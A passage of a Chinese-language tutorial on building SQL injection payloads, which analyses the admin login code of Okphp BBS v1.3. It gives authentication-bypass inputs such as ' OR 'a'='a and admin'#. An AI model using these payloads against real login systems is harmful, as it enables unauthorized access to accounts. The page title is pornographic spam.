免费视频淫片aa毛片_日韩高清在线亚洲专区vr_日韩大片免费观看视频播放_亚洲欧美国产精品完整版

打開APP
userphoto
未登錄

開通VIP,暢享免費電子書等14項超值服

開通VIP
php mysql SQL注入語句構造

由于PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困難,尤其是注射時語句的構造方面更是個難點,本文主要是借對Okphp BBS v1.3一些文件得簡單分析,來談談php+mysql注射語句構造方式,希望本文對你有點幫助。

  聲明:文章所有提到的“漏洞”,都沒有經(jīng)過測試,可能根本不存在,其實有沒有漏洞并不重要,重要的是分析思路和語句構造。

  二.“漏洞”分析:

  1.admin/login.php注射導致繞過身份驗證漏洞:

  代碼:

  $conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);

  $password = md5($password);

  $q = 'select id,group_id from $user_table where username='$username' and password='$password'';

  $res = sql_query($q,$conn);

  $row = sql_fetch_row($res);

  $q = 'select id,group_id from $user_table where username='$username' and password='$password''中

  $username 和 $password 沒過濾, 很容易就繞過。

  對于select * from $user_table where username='$username' and password='$password'這樣的語句改造的方法有:

  構造1(利用邏輯運算):$username=' OR 'a'='a $password=' OR 'a'='a

  相當于sql語句:

  select * from $user_table where username='' OR 'a'='a' and password='' OR 'a'='a'

  構造2(利用mysql里的注釋語句# ,/* 把$password注釋掉):$username=admin'#(或admin'/*)

  即:

  select * from $user_table where username='admin'#' and password='$password''

  相當于:

  select * from $user_table where username='admin'

  在admin/login.php中$q語句中的$password在查詢前進行了md5加密所以不可以用構造1中的語句繞過。這里我們用構造2:

  select id,group_id from $user_table where username='admin'#' and password='$password''

  相當于:

  select id,group_id from $user_table where username='admin'

  只要存在用戶名為admin的就成立,如果不知道用戶名,只知道對應的id,

  我們就可以這樣構造:$username=' OR id=1#

  相當于:

  select id,group_id from $user_table where username='' OR id=1# and password='$password'(#后的被注釋掉)

  我們接著往下看代碼:

  if ($row[0]) {

  // If not admin or super moderator

  if ($username != 'admin' && !eregi('(^|&)3($|&)',$row[1])) {

  $login = 0;

  }

  else {

  $login = 1;

  }

  }

  // Fail to login---------------

  if (!$login) {

  write_log('Moderator login','0','password wrong');


本站僅提供存儲服務,所有內(nèi)容均由用戶發(fā)布,如發(fā)現(xiàn)有害或侵權內(nèi)容,請點擊舉報
打開APP,閱讀全文并永久保存 查看更多類似文章
猜你喜歡
類似文章
RedTigers Hackit SQL 注入題解
php管理員登錄 驗證與添加 (前端驗證)
mysql基礎操作
mysql copy復制拷貝表數(shù)據(jù)及結構的幾種方式
用 PHPRPC 實現(xiàn) Ajax 安全登錄
攻防世界
更多類似文章 >>
生活服務
分享 收藏 導長圖 關注 下載文章
綁定賬號成功
后續(xù)可登錄賬號暢享VIP特權!
如果VIP功能使用有故障,
可點擊這里聯(lián)系客服!

聯(lián)系客服